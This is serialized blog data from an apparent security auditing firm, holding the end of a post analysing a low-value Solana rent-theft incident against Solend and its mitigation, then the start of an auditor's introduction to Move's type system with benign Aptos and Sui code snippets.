2",{"type":28,"value":5661},{"type":23,"tag":4009,"props":5712,"children":5714},{"alt":7,"src":5713},"https://i.imgur.com/of0GIdw.png",[],{"type":23,"tag":24,"props":5716,"children":5717},{},[5718],{"type":23,"tag":4009,"props":5719,"children":5721},{"alt":7,"src":5720},"https://i.imgur.com/0STSyv8.png",[],{"type":23,"tag":24,"props":5723,"children":5724},{},[5725],{"type":28,"value":5726},"The developer attempts to take ownership of the account, but it fails with the error \"account or token already in use\" since the attacker took ownership of it. This took place in slot 136,580,167, which is 13 slots (9 seconds) after the attacker's transaction. In total, that's a 54 slot-gap (38 seconds) between the two Solend transactions.",{"type":23,"tag":24,"props":5728,"children":5729},{},[5730,5736],{"type":23,"tag":36,"props":5731,"children":5734},{"href":5732,"rel":5733},"https://explorer.solana.com/tx/3D45bCbbeSEaigz3RX6GRKuoDSok3FHMi5Z2N5HDXcPjqMzu3Qx5iEoXh56RWg1mn7w9ZuZifD91n1DwnPjdaW2G",[40],[5735],{"type":28,"value":5685},{"type":28,"value":277},{"type":23,"tag":24,"props":5738,"children":5739},{},[5740],{"type":23,"tag":4009,"props":5741,"children":5743},{"alt":7,"src":5742},"https://i.imgur.com/AmSPdmy.png",[],{"type":23,"tag":24,"props":5745,"children":5746},{},[5747],{"type":28,"value":5670},{"type":23,"tag":24,"props":5749,"children":5750},{},[5751],{"type":28,"value":5752},"Now that the attack is over, the attacker closes the accounts, transferring the rent money to themselves. The total money stolen during this attack was 0.00815212 SOL.",{"type":23,"tag":47,"props":5754,"children":5756},{"id":5755},"impact",[5757],{"type":28,"value":5758},"Impact",{"type":23,"tag":24,"props":5760,"children":5761},{},[5762],{"type":28,"value":5763},"Rent-thieving attacks don't steal much money.",{"type":23,"tag":24,"props":5765,"children":5766},{},[5767],{"type":28,"value":5768},"They can only make a small profit very infrequently as Solana rent is cheap and there are only a handful of large services that separate account creation and initialization. In addition, this stratedgy doesn't scale well, since such non-atomic account creation is relatively infrequent.",{"type":23,"tag":24,"props":5770,"children":5771},{},[5772],{"type":28,"value":5773},"However, it's still obnoxious even if the monetary impact is minimal. Transactions will fail and need to be remade, impacting usability.",{"type":23,"tag":47,"props":5775,"children":5777},{"id":5776},"solution",[5778],{"type":28,"value":5779},"Solution",{"type":23,"tag":24,"props":5781,"children":5782},{},[5783],{"type":28,"value":5784},"As a temporary stopgap, Solend refactored their codebase to lower the 40 second delay between transactions to around 15 seconds (20 slots), making an attack much more difficult and inconsistent.",{"type":23,"tag":24,"props":5786,"children":5787},{},[5788,5790,5797],{"type":28,"value":5789},"As a more permenant solution, Solend implemented ",{"type":23,"tag":36,"props":5791,"children":5794},{"href":5792,"rel":5793},"https://explorer.solana.com/tx/3DR74oQh966HbozLPYFqTgCmQWbUNSBkjUcEs7CuWxMPNxM3mBzqH7Gqu1mVRBRxNSTWJBcJkTnCzmoqD6kPYMXE?cluster=devnet",[40],[5795],{"type":28,"value":5796},"an onchain program",{"type":28,"value":5798}," which handles account creation, allowing them to fit all the relevant instructions into one transaction.",{"title":7,"searchDepth":226,"depth":226,"links":5800},[5801,5802,5803,5804,5805],{"id":5491,"depth":226,"text":5494},{"id":5512,"depth":226,"text":5515},{"id":5633,"depth":226,"text":5636},{"id":5755,"depth":226,"text":5758},{"id":5776,"depth":226,"text":5779},"content:blog:2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief",{"_path":5810,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":5811,"description":5812,"author":5813,"image":5814,"date":5818,"isFeatured":18,"onBlogPage":18,"body":5819,"_type":2967,"_id":9343,"_source":2969,"_file":9344,"_stem":9345,"_extension":2972},"/blog/2022-09-06-move-introduction","Move: An Auditor's Introduction","What actually makes Move secure? A discussion of Move's typing system and formal verification.","robert",{"src":5815,"height":5816,"width":5817},"/posts/move-intro/title.jpg",1221,1400,"2022-09-06",{"type":20,"children":5820,"toc":9338},[5821,5826,5831,5850,5856,5868,5965,5973,6092,6100,6122,6275,6280,6538,6560,6595,6600,6620,6625,6636,6648,6859,6871,6885,6898,7154,7166,7386,7391,7419,7565,7584,7589,7852,7864,7869,7882,7888,7893,7898,7910,7924,7929,8028,8040,8053,8325,8330,8342,8347,8401,8421,8426,9307,9311,9316,9321,9334],{"type":23,"tag":24,"props":5822,"children":5823},{},[5824],{"type":28,"value":5825},"As part of our work, we seek to understand how to eliminate vulnerability classes. Designing safer languages enables developers to write code with confidence. How exactly does Move lend itself to safer programming practices? What can we learn from Move to generalize secure design principles for other execution environments?",{"type":23,"tag":24,"props":5827,"children":5828},{},[5829],{"type":28,"value":5830},"Lately, there appears to be many buzzwords floating around. Formal verification, type based safety, \"rust but for blockchain\".",{"type":23,"tag":24,"props":5832,"children":5833},{},[5834,5836,5841,5843,5848],{"type":28,"value":5835},"In this piece I'll seek to discuss exactly ",{"type":23,"tag":87,"props":5837,"children":5838},{},[5839],{"type":28,"value":5840},"how",{"type":28,"value":5842}," move lends itself to more secure programming practices, potential shortcomings, and practical design tips for protocol developers looking to build ",{"type":23,"tag":87,"props":5844,"children":5845},{},[5846],{"type":28,"value":5847},"structurally",{"type":28,"value":5849}," safer programs.",{"type":23,"tag":47,"props":5851,"children":5853},{"id":5852},"types",[5854],{"type":28,"value":5855},"Types",{"type":23,"tag":24,"props":5857,"children":5858},{},[5859,5861,5867],{"type":28,"value":5860},"One of the key selling points of Move is the use of typed resources. Aptos and Sui have slight variations in how they materialize this pattern, but as an example take ",{"type":23,"tag":209,"props":5862,"children":5864},{"className":5863},[],[5865],{"type":28,"value":5866},"coin.move",{"type":28,"value":124},{"type":23,"tag":202,"props":5869,"children":5871},{"className":206,"code":5870,"language":205,"meta":7,"style":7}," /// Main structure representing a coin/token in an account's custody.\n struct Coin\u003Cphantom CoinType> has store {\n /// Amount of coin this address has.\n value: u64,\n }\n",[5872],{"type":23,"tag":209,"props":5873,"children":5874},{"__ignoreMap":7},[5875,5883,5929,5937,5957],{"type":23,"tag":213,"props":5876,"children":5877},{"class":215,"line":216},[5878],{"type":23,"tag":213,"props":5879,"children":5880},{"style":537},[5881],{"type":28,"value":5882}," /// Main structure representing a coin/token in an account's custody.\n",{"type":23,"tag":213,"props":5884,"children":5885},{"class":215,"line":226},[5886,5891,5896,5900,5905,5910,5915,5920,5925],{"type":23,"tag":213,"props":5887,"children":5888},{"style":230},[5889],{"type":28,"value":5890}," struct",{"type":23,"tag":213,"props":5892,"children":5893},{"style":290},[5894],{"type":28,"value":5895}," Coin",{"type":23,"tag":213,"props":5897,"children":5898},{"style":220},[5899],{"type":28,"value":434},{"type":23,"tag":213,"props":5901,"children":5902},{"style":268},[5903],{"type":28,"value":5904},"phantom",{"type":23,"tag":213,"props":5906,"children":5907},{"style":290},[5908],{"type":28,"value":5909}," CoinType",{"type":23,"tag":213,"props":5911,"children":5912},{"style":220},[5913],{"type":28,"value":5914},"> ",{"type":23,"tag":213,"props":5916,"children":5917},{"style":268},[5918],{"type":28,"value":5919},"has",{"type":23,"tag":213,"props":5921,"children":5922},{"style":268},[5923],{"type":28,"value":5924}," store",{"type":23,"tag":213,"props":5926,"children":5927},{"style":220},[5928],{"type":28,"value":1375},{"type":23,"tag":213,"props":5930,"children":5931},{"class":215,"line":524},[5932],{"type":23,"tag":213,"props":5933,"children":5934},{"style":537},[5935],{"type":28,"value":5936}," /// Amount of coin this address has.\n",{"type":23,"tag":213,"props":5938,"children":5939},{"class":215,"line":533},[5940,5945,5949,5953],{"type":23,"tag":213,"props":5941,"children":5942},{"style":268},[5943],{"type":28,"value":5944}," value",{"type":23,"tag":213,"props":5946,"children":5947},{"style":274},[5948],{"type":28,"value":277},{"type":23,"tag":213,"props":5950,"children":5951},{"style":290},[5952],{"type":28,"value":308},{"type":23,"tag":213,"props":5954,"children":5955},{"style":220},[5956],{"type":28,"value":944},{"type":23,"tag":213,"props":5958,"children":5959},{"class":215,"line":543},[5960],{"type":23,"tag":213,"props":5961,"children":5962},{"style":220},[5963],{"type":28,"value":5964}," }\n",{"type":23,"tag":24,"props":5966,"children":5967},{},[5968],{"type":23,"tag":87,"props":5969,"children":5970},{},[5971],{"type":28,"value":5972},"aptos",{"type":23,"tag":202,"props":5974,"children":5976},{"className":206,"code":5975,"language":205,"meta":7,"style":7}," /// A coin of type `T` worth `value`. Transferable and storable\n struct Coin\u003Cphantom T> has key, store {\n id: UID,\n balance: Balance\u003CT>\n }\n",[5977],{"type":23,"tag":209,"props":5978,"children":5979},{"__ignoreMap":7},[5980,5988,6037,6054,6085],{"type":23,"tag":213,"props":5981,"children":5982},{"class":215,"line":216},[5983],{"type":23,"tag":213,"props":5984,"children":5985},{"style":537},[5986],{"type":28,"value":5987}," /// A coin of type `T` worth `value`. Transferable and storable\n",{"type":23,"tag":213,"props":5989,"children":5990},{"class":215,"line":226},[5991,5995,5999,6003,6007,6012,6016,6020,6024,6028,6033],{"type":23,"tag":213,"props":5992,"children":5993},{"style":230},[5994],{"type":28,"value":5890},{"type":23,"tag":213,"props":5996,"children":5997},{"style":290},[5998],{"type":28,"value":5895},{"type":23,"tag":213,"props":6000,"children":6001},{"style":220},[6002],{"type":28,"value":434},{"type":23,"tag":213,"props":6004,"children":6005},{"style":268},[6006],{"type":28,"value":5904},{"type":23,"tag":213,"props":6008,"children":6009},{"style":290},[6010],{"type":28,"value":6011}," T",{"type":23,"tag":213,"props":6013,"children":6014},{"style":220},[6015],{"type":28,"value":5914},{"type":23,"tag":213,"props":6017,"children":6018},{"style":268},[6019],{"type":28,"value":5919},{"type":23,"tag":213,"props":6021,"children":6022},{"style":268},[6023],{"type":28,"value":918},{"type":23,"tag":213,"props":6025,"children":6026},{"style":220},[6027],{"type":28,"value":424},{"type":23,"tag":213,"props":6029,"children":6030},{"style":268},[6031],{"type":28,"value":6032},"store",{"type":23,"tag":213,"props":6034,"children":6035},{"style":220},[6036],{"type":28,"value":1375},{"type":23,"tag":213,"props":6038,"children":6039},{"class":215,"line":524},[6040,6045,6049],{"type":23,"tag":213,"props":6041,"children":6042},{"style":268},[6043],{"type":28,"value":6044}," id",{"type":23,"tag":213,"props":6046,"children":6047},{"style":274},[6048],{"type":28,"value":277},{"type":23,"tag":213,"props":6050,"children":6051},{"style":220},[6052],{"type":28,"value":6053}," UID,\n",{"type":23,"tag":213,"props":6055,"children":6056},{"class":215,"line":533},[6057,6062,6066,6071,6075,6080],{"type":23,"tag":213,"props":6058,"children":6059},{"style":268},[6060],{"type":28,"value":6061}," balance",{"type":23,"tag":213,"props":6063,"children":6064},{"style":274},[6065],{"type":28,"value":277},{"type":23,"tag":213,"props":6067,"children":6068},{"style":290},[6069],{"type":28,"value":6070}," Balance",{"type":23,"tag":213,"props":6072,"children":6073},{"style":220},[6074],{"type":28,"value":434},{"type":23,"tag":213,"props":6076,"children":6077},{"style":290},[6078],{"type":28,"value":6079},"T",{"type":23,"tag":213,"props":6081,"children":6082},{"style":220},[6083],{"type":28,"value":6084},">\n",{"type":23,"tag":213,"props":6086,"children":6087},{"class":215,"line":543},[6088],{"type":23,"tag":213,"props":6089,"children":6090},{"style":220},[6091],{"type":28,"value":5964},{"type":23,"tag":24,"props":6093,"children":6094},{},[6095],{"type":23,"tag":87,"props":6096,"children":6097},{},[6098],{"type":28,"value":6099},"sui",{"type":23,"tag":24,"props":6101,"children":6102},{},[6103,6105,6112,6114,6120],{"type":28,"value":6104},"Pulling an example from ",{"type":23,"tag":36,"props":6106,"children":6109},{"href":6107,"rel":6108},"https://pontem.network/",[40],[6110],{"type":28,"value":6111},"Pontem Network's",{"type":28,"value":6113}," Liquidswap DEX implementation on Aptos, we can see that ",{"type":23,"tag":209,"props":6115,"children":6117},{"className":6116},[],[6118],{"type":28,"value":6119},"LiquidityPool",{"type":28,"value":6121}," natively embeds this type information into it's fields.",{"type":23,"tag":202,"props":6123,"children":6125},{"className":206,"code":6124,"language":205,"meta":7,"style":7}," /// Liquidity pool with reserves.\n struct LiquidityPool\u003Cphantom X, phantom Y, phantom LP> has key {\n coin_x_reserve: Coin\u003CX>,\n coin_y_reserve: Coin\u003CY>,\n // ...\n }\n",[6126],{"type":23,"tag":209,"props":6127,"children":6128},{"__ignoreMap":7},[6129,6137,6201,6231,6260,6268],{"type":23,"tag":213,"props":6130,"children":6131},{"class":215,"line":216},[6132],{"type":23,"tag":213,"props":6133,"children":6134},{"style":537},[6135],{"type":28,"value":6136}," /// Liquidity pool with reserves.\n",{"type":23,"tag":213,"props":6138,"children":6139},{"class":215,"line":226},[6140,6145,6150,6154,6158,6163,6167,6171,6176,6180,6184,6189,6193,6197],{"type":23,"tag":213,"props":6141,"children":6142},{"style":230},[6143],{"type":28,"value":6144}," struct",{"type":23,"tag":213,"props":6146,"children":6147},{"style":290},[6148],{"type":28,"value":6149}," LiquidityPool",{"type":23,"tag":213,"props":6151,"children":6152},{"style":220},[6153],{"type":28,"value":434},{"type":23,"tag":213,"props":6155,"children":6156},{"style":268},[6157],{"type":28,"value":5904},{"type":23,"tag":213,"props":6159,"children":6160},{"style":290},[6161],{"type":28,"value":6162}," X",{"type":23,"tag":213,"props":6164,"children":6165},{"style":220},[6166],{"type":28,"value":424},{"type":23,"tag":213,"props":6168,"children":6169},{"style":268},[6170],{"type":28,"value":5904},{"type":23,"tag":213,"props":6172,"children":6173},{"style":290},[6174],{"type":28,"value":6175}," Y",{"type":23,"tag":213,"props":6177,"children":6178},{"style":220},[6179],{"type":28,"value":424},{"type":23,"tag":213,"props":6181,"children":6182},{"style":268},[6183],{"type":28,"value":5904},{"type":23,"tag":213,"props":6185,"children":6186},{"style":220},[6187],{"type":28,"value":6188}," LP> ",{"type":23,"tag":213,"props":6190,"children":6191},{"style":268},[6192],{"type":28,"value":5919},{"type":23,"tag":213,"props":6194,"children":6195},{"style":268},[6196],{"type":28,"value":918},{"type":23,"tag":213,"props":6198,"children":6199},{"style":220},[6200],{"type":28,"value":1375},{"type":23,"tag":213,"props":6202,"children":6203},{"class":215,"line":524},[6204,6209,6213,6217,6221,6226],{"type":23,"tag":213,"props":6205,"children":6206},{"style":268},[6207],{"type":28,"value":6208}," coin_x_reserve",{"type":23,"tag":213,"props":6210,"children":6211},{"style":274},[6212],{"type":28,"value":277},{"type":23,"tag":213,"props":6214,"children":6215},{"style":290},[6216],{"type":28,"value":5895},{"type":23,"tag":213,"props":6218,"children":6219},{"style":220},[6220],{"type":28,"value":434},{"type":23,"tag":213,"props":6222,"children":6223},{"style":290},[6224],{"type":28,"value":6225},"X",{"type":23,"tag":213,"props":6227,"children":6228},{"style":220},[6229],{"type":28,"value":6230},">,\n",{"type":23,"tag":213,"props":6232,"children":6233},{"class":215,"line":533},[6234,6239,6243,6247,6251,6256],{"type":23,"tag":213,"props":6235,"children":6236},{"style":268},[6237],{"type":28,"value":6238}," coin_y_reserve",{"type":23,"tag":213,"props":6240,"children":6241},{"style":274},[6242],{"type":28,"value":277},{"type":23,"tag":213,"props":6244,"children":6245},{"style":290},[6246],{"type":28,"value":5895},{"type":23,"tag":213,"props":6248,"children":6249},{"style":220},[6250],{"type":28,"value":434},{"type":23,"tag":213,"props":6252,"children":6253},{"style":290},[6254],{"type":28,"value":6255},"Y",{"type":23,"tag":213,"props":6257,"children":6258},{"style":220},[6259],{"type":28,"value":6230},{"type":23,"tag":213,"props":6261,"children":6262},{"class":215,"line":543},[6263],{"type":23,"tag":213,"props":6264,"children":6265},{"style":537},[6266],{"type":28,"value":6267}," // ...\n",{"type":23,"tag":213,"props":6269,"children":6270},{"class":215,"line":551},[6271],{"type":23,"tag":213,"props":6272,"children":6273},{"style":220},[6274],{"type":28,"value":2875},{"type":23,"tag":24,"props":6276,"children":6277},{},[6278],{"type":28,"value":6279},"This has the advantage of aligning type information at compile time. It would be difficult to accidentally pass in the wrong type of coin to a function.",{"type":23,"tag":202,"props":6281,"children":6283},{"className":206,"code":6282,"language":205,"meta":7,"style":7}," public fun mint\u003CX, Y, LP>(\n pool_addr: address,\n coin_x: Coin\u003CX>,\n coin_y: Coin\u003CY>\n ): Coin\u003CLP> acquires LiquidityPool, EventsStore {\n // ...\n\n let (x_reserve_size, y_reserve_size) = get_reserves_size\u003CX, Y, LP>(pool_addr);\n",[6284],{"type":23,"tag":209,"props":6285,"children":6286},{"__ignoreMap":7},[6287,6326,6347,6375,6403,6454,6462,6469],{"type":23,"tag":213,"props":6288,"children":6289},{"class":215,"line":216},[6290,6295,6300,6305,6309,6313,6317,6321],{"type":23,"tag":213,"props":6291,"children":6292},{"style":268},[6293],{"type":28,"value":6294}," public",{"type":23,"tag":213,"props":6296,"children":6297},{"style":268},[6298],{"type":28,"value":6299}," fun",{"type":23,"tag":213,"props":6301,"children":6302},{"style":268},[6303],{"type":28,"value":6304}," mint",{"type":23,"tag":213,"props":6306,"children":6307},{"style":220},[6308],{"type":28,"value":434},{"type":23,"tag":213,"props":6310,"children":6311},{"style":290},[6312],{"type":28,"value":6225},{"type":23,"tag":213,"props":6314,"children":6315},{"style":220},[6316],{"type":28,"value":424},{"type":23,"tag":213,"props":6318,"children":6319},{"style":290},[6320],{"type":28,"value":6255},{"type":23,"tag":213,"props":6322,"children":6323},{"style":220},[6324],{"type":28,"value":6325},", LP>(\n",{"type":23,"tag":213,"props":6327,"children":6328},{"class":215,"line":226},[6329,6334,6338,6343],{"type":23,"tag":213,"props":6330,"children":6331},{"style":268},[6332],{"type":28,"value":6333}," pool_addr",{"type":23,"tag":213,"props":6335,"children":6336},{"style":274},[6337],{"type":28,"value":277},{"type":23,"tag":213,"props":6339,"children":6340},{"style":268},[6341],{"type":28,"value":6342}," address",{"type":23,"tag":213,"props":6344,"children":6345},{"style":220},[6346],{"type":28,"value":944},{"type":23,"tag":213,"props":6348,"children":6349},{"class":215,"line":524},[6350,6355,6359,6363,6367,6371],{"type":23,"tag":213,"props":6351,"children":6352},{"style":268},[6353],{"type":28,"value":6354}," coin_x",{"type":23,"tag":213,"props":6356,"children":6357},{"style":274},[6358],{"type":28,"value":277},{"type":23,"tag":213,"props":6360,"children":6361},{"style":290},[6362],{"type":28,"value":5895},{"type":23,"tag":213,"props":6364,"children":6365},{"style":220},[6366],{"type":28,"value":434},{"type":23,"tag":213,"props":6368,"children":6369},{"style":290},[6370],{"type":28,"value":6225},{"type":23,"tag":213,"props":6372,"children":6373},{"style":220},[6374],{"type":28,"value":6230},{"type":23,"tag":213,"props":6376,"children":6377},{"class":215,"line":533},[6378,6383,6387,6391,6395,6399],{"type":23,"tag":213,"props":6379,"children":6380},{"style":268},[6381],{"type":28,"value":6382}," coin_y",{"type":23,"tag":213,"props":6384,"children":6385},{"style":274},[6386],{"type":28,"value":277},{"type":23,"tag":213,"props":6388,"children":6389},{"style":290},[6390],{"type":28,"value":5895},{"type":23,"tag":213,"props":6392,"children":6393},{"style":220},[6394],{"type":28,"value":434},{"type":23,"tag":213,"props":6396,"children":6397},{"style":290},[6398],{"type":28,"value":6255},{"type":23,"tag":213,"props":6400,"children":6401},{"style":220},[6402],{"type":28,"value":6084},{"type":23,"tag":213,"props":6404,"children":6405},{"class":215,"line":543},[6406,6411,6415,6419,6423,6428,6432,6437,6441,6445,6450],{"type":23,"tag":213,"props":6407,"children":6408},{"style":220},[6409],{"type":28,"value":6410}," )",{"type":23,"tag":213,"props":6412,"children":6413},{"style":274},[6414],{"type":28,"value":277},{"type":23,"tag":213,"props":6416,"children":6417},{"style":290},[6418],{"type":28,"value":5895},{"type":23,"tag":213,"props":6420,"children":6421},{"style":220},[6422],{"type":28,"value":434},{"type":23,"tag":213,"props":6424,"children":6425},{"style":290},[6426],{"type":28,"value":6427},"LP",{"type":23,"tag":213,"props":6429,"children":6430},{"style":220},[6431],{"type":28,"value":5914},{"type":23,"tag":213,"props":6433,"children":6434},{"style":268},[6435],{"type":28,"value":6436},"acquires",{"type":23,"tag":213,"props":6438,"children":6439},{"style":290},[6440],{"type":28,"value":6149},{"type":23,"tag":213,"props":6442,"children":6443},{"style":220},[6444],{"type":28,"value":424},{"type":23,"tag":213,"props":6446,"children":6447},{"style":290},[6448],{"type":28,"value":6449},"EventsStore",{"type":23,"tag":213,"props":6451,"children":6452},{"style":220},[6453],{"type":28,"value":1375},{"type":23,"tag":213,"props":6455,"children":6456},{"class":215,"line":551},[6457],{"type":23,"tag":213,"props":6458,"children":6459},{"style":537},[6460],{"type":28,"value":6461}," // ...\n",{"type":23,"tag":213,"props":6463,"children":6464},{"class":215,"line":570},[6465],{"type":23,"tag":213,"props":6466,"children":6467},{"emptyLinePlaceholder":18},[6468],{"type":28,"value":530},{"type":23,"tag":213,"props":6470,"children":6471},{"class":215,"line":655},[6472,6477,6481,6486,6490,6495,6499,6503,6508,6512,6516,6520,6524,6529,6534],{"type":23,"tag":213,"props":6473,"children":6474},{"style":230},[6475],{"type":28,"value":6476}," let",{"type":23,"tag":213,"props":6478,"children":6479},{"style":220},[6480],{"type":28,"value":400},{"type":23,"tag":213,"props":6482,"children":6483},{"style":268},[6484],{"type":28,"value":6485},"x_reserve_size",{"type":23,"tag":213,"props":6487,"children":6488},{"style":220},[6489],{"type":28,"value":424},{"type":23,"tag":213,"props":6491,"children":6492},{"style":268},[6493],{"type":28,"value":6494},"y_reserve_size",{"type":23,"tag":213,"props":6496,"children":6497},{"style":220},[6498],{"type":28,"value":298},{"type":23,"tag":213,"props":6500,"children":6501},{"style":274},[6502],{"type":28,"value":3190},{"type":23,"tag":213,"props":6504,"children":6505},{"style":268},[6506],{"type":28,"value":6507}," get_reserves_size",{"type":23,"tag":213,"props":6509,"children":6510},{"style":220},[6511],{"type":28,"value":434},{"type":23,"tag":213,"props":6513,"children":6514},{"style":290},[6515],{"type":28,"value":6225},{"type":23,"tag":213,"props":6517,"children":6518},{"style":220},[6519],{"type":28,"value":424},{"type":23,"tag":213,"props":6521,"children":6522},{"style":290},[6523],{"type":28,"value":6255},{"type":23,"tag":213,"props":6525,"children":6526},{"style":220},[6527],{"type":28,"value":6528},", LP>(",{"type":23,"tag":213,"props":6530,"children":6531},{"style":268},[6532],{"type":28,"value":6533},"pool_addr",{"type":23,"tag":213,"props":6535,"children":6536},{"style":220},[6537],{"type":28,"value":2867},{"type":23,"tag":24,"props":6539,"children":6540},{},[6541,6543,6549,6551,6558],{"type":28,"value":6542},"As an aside, this generic type information is implemented at runtime in the ",{"type":23,"tag":209,"props":6544,"children":6546},{"className":6545},[],[6547],{"type":28,"value":6548},"ty_args",{"type":28,"value":6550}," ",{"type":23,"tag":36,"props":6552,"children":6555},{"href":6553,"rel":6554},"https://github.com/move-language/move/blob/2412f877a5065132f31bfc339e6d1f2b9de10e87/language/move-vm/runtime/src/interpreter.rs#L88",[40],[6556],{"type":28,"value":6557},"at the vm level",{"type":28,"value":6559},". This VM level implementation choice makes it rather difficult to iterate over arbitrary generic types, such as with summing the coins in a pool. We will be releasing a deep dive into move's VM internals shortly.",{"type":23,"tag":24,"props":6561,"children":6562},{},[6563,6565,6571,6573,6579,6581,6587,6588,6594],{"type":28,"value":6564},"In pseucode, this checks that ",{"type":23,"tag":209,"props":6566,"children":6568},{"className":6567},[],[6569],{"type":28,"value":6570},"coin_x.type",{"type":28,"value":6572}," is equal to ",{"type":23,"tag":209,"props":6574,"children":6576},{"className":6575},[],[6577],{"type":28,"value":6578},"pool.x_type",{"type":28,"value":6580},", and ",{"type":23,"tag":209,"props":6582,"children":6584},{"className":6583},[],[6585],{"type":28,"value":6586},"coin_y.type",{"type":28,"value":6572},{"type":23,"tag":209,"props":6589,"children":6591},{"className":6590},[],[6592],{"type":28,"value":6593},"pool.y_type",{"type":28,"value":124},{"type":23,"tag":24,"props":6596,"children":6597},{},[6598],{"type":28,"value":6599},"This type system has two advantages",{"type":23,"tag":131,"props":6601,"children":6602},{},[6603,6615],{"type":23,"tag":135,"props":6604,"children":6605},{},[6606,6608,6613],{"type":28,"value":6607},"It's required. The type parameter ",{"type":23,"tag":87,"props":6609,"children":6610},{},[6611],{"type":28,"value":6612},"must",{"type":28,"value":6614}," be specified so it's impossible to forget such a constraint",{"type":23,"tag":135,"props":6616,"children":6617},{},[6618],{"type":28,"value":6619},"It's concise. Constraints are done via type parameter alignment instead of verbose equivalence checks",{"type":23,"tag":24,"props":6621,"children":6622},{},[6623],{"type":28,"value":6624},"However, this system isn't perfect.",{"type":23,"tag":24,"props":6626,"children":6627},{},[6628,6630,6635],{"type":28,"value":6629},"In fact, I would go as far as to argue that using types to create such associations is ",{"type":23,"tag":95,"props":6631,"children":6632},{},[6633],{"type":28,"value":6634},"an anti-pattern",{"type":28,"value":124},{"type":23,"tag":24,"props":6637,"children":6638},{},[6639,6641,6647],{"type":28,"value":6640},"Using types to enforce relationships only works because types are uniquely associated with instances. For example, in Aptos's coin initialization function, they explicitly assert that there hasn't been a previously initialized ",{"type":23,"tag":209,"props":6642,"children":6644},{"className":6643},[],[6645],{"type":28,"value":6646},"CoinInfo\u003CCoinType>",{"type":28,"value":124},{"type":23,"tag":202,"props":6649,"children":6651},{"className":206,"code":6650,"language":205,"meta":7,"style":7}," fun initialize_internal\u003CCoinType>(\n // ...\n ): (BurnCapability\u003CCoinType>, FreezeCapability\u003CCoinType>, MintCapability\u003CCoinType>) {\n // ...\n\n assert!(\n !exists\u003CCoinInfo\u003CCoinType>>(account_addr),\n error::already_exists(ECOIN_INFO_ALREADY_PUBLISHED),\n );\n",[6652],{"type":23,"tag":209,"props":6653,"children":6654},{"__ignoreMap":7},[6655,6682,6690,6759,6766,6773,6785,6829,6851],{"type":23,"tag":213,"props":6656,"children":6657},{"class":215,"line":216},[6658,6663,6668,6672,6677],{"type":23,"tag":213,"props":6659,"children":6660},{"style":268},[6661],{"type":28,"value":6662}," fun",{"type":23,"tag":213,"props":6664,"children":6665},{"style":268},[6666],{"type":28,"value":6667}," initialize_internal",{"type":23,"tag":213,"props":6669,"children":6670},{"style":220},[6671],{"type":28,"value":434},{"type":23,"tag":213,"props":6673,"children":6674},{"style":290},[6675],{"type":28,"value":6676},"CoinType",{"type":23,"tag":213,"props":6678,"children":6679},{"style":220},[6680],{"type":28,"value":6681},">(\n",{"type":23,"tag":213,"props":6683,"children":6684},{"class":215,"line":226},[6685],{"type":23,"tag":213,"props":6686,"children":6687},{"style":537},[6688],{"type":28,"value":6689}," // ...\n",{"type":23,"tag":213,"props":6691,"children":6692},{"class":215,"line":524},[6693,6698,6702,6706,6711,6715,6719,6724,6729,6733,6737,6741,6746,6750,6754],{"type":23,"tag":213,"props":6694,"children":6695},{"style":220},[6696],{"type":28,"value":6697}," )",{"type":23,"tag":213,"props":6699,"children":6700},{"style":274},[6701],{"type":28,"value":277},{"type":23,"tag":213,"props":6703,"children":6704},{"style":220},[6705],{"type":28,"value":400},{"type":23,"tag":213,"props":6707,"children":6708},{"style":290},[6709],{"type":28,"value":6710},"BurnCapability",{"type":23,"tag":213,"props":6712,"children":6713},{"style":220},[6714],{"type":28,"value":434},{"type":23,"tag":213,"props":6716,"children":6717},{"style":290},[6718],{"type":28,"value":6676},{"type":23,"tag":213,"props":6720,"children":6721},{"style":220},[6722],{"type":28,"value":6723},">, ",{"type":23,"tag":213,"props":6725,"children":6726},{"style":290},[6727],{"type":28,"value":6728},"FreezeCapability",{"type":23,"tag":213,"props":6730,"children":6731},{"style":220},[6732],{"type":28,"value":434},{"type":23,"tag":213,"props":6734,"children":6735},{"style":290},[6736],{"type":28,"value":6676},{"type":23,"tag":213,"props":6738,"children":6739},{"style":220},[6740],{"type":28,"value":6723},{"type":23,"tag":213,"props":6742,"children":6743},{"style":290},[6744],{"type":28,"value":6745},"MintCapability",{"type":23,"tag":213,"props":6747,"children":6748},{"style":220},[6749],{"type":28,"value":434},{"type":23,"tag":213,"props":6751,"children":6752},{"style":290},[6753],{"type":28,"value":6676},{"type":23,"tag":213,"props":6755,"children":6756},{"style":220},[6757],{"type":28,"value":6758},">) {\n",{"type":23,"tag":213,"props":6760,"children":6761},{"class":215,"line":533},[6762],{"type":23,"tag":213,"props":6763,"children":6764},{"style":537},[6765],{"type":28,"value":6689},{"type":23,"tag":213,"props":6767,"children":6768},{"class":215,"line":543},[6769],{"type":23,"tag":213,"props":6770,"children":6771},{"emptyLinePlaceholder":18},[6772],{"type":28,"value":530},{"type":23,"tag":213,"props":6774,"children":6775},{"class":215,"line":551},[6776,6781],{"type":23,"tag":213,"props":6777,"children":6778},{"style":257},[6779],{"type":28,"value":6780}," assert!",{"type":23,"tag":213,"props":6782,"children":6783},{"style":220},[6784],{"type":28,"value":1511},{"type":23,"tag":213,"props":6786,"children":6787},{"class":215,"line":570},[6788,6793,6798,6802,6807,6811,6815,6820,6825],{"type":23,"tag":213,"props":6789,"children":6790},{"style":274},[6791],{"type":28,"value":6792}," !",{"type":23,"tag":213,"props":6794,"children":6795},{"style":268},[6796],{"type":28,"value":6797},"exists",{"type":23,"tag":213,"props":6799,"children":6800},{"style":220},[6801],{"type":28,"value":434},{"type":23,"tag":213,"props":6803,"children":6804},{"style":290},[6805],{"type":28,"value":6806},"CoinInfo",{"type":23,"tag":213,"props":6808,"children":6809},{"style":220},[6810],{"type":28,"value":434},{"type":23,"tag":213,"props":6812,"children":6813},{"style":290},[6814],{"type":28,"value":6676},{"type":23,"tag":213,"props":6816,"children":6817},{"style":220},[6818],{"type":28,"value":6819},">>(",{"type":23,"tag":213,"props":6821,"children":6822},{"style":268},[6823],{"type":28,"value":6824},"account_addr",{"type":23,"tag":213,"props":6826,"children":6827},{"style":220},[6828],{"type":28,"value":1715},{"type":23,"tag":213,"props":6830,"children":6831},{"class":215,"line":655},[6832,6837,6841,6846],{"type":23,"tag":213,"props":6833,"children":6834},{"style":220},[6835],{"type":28,"value":6836}," 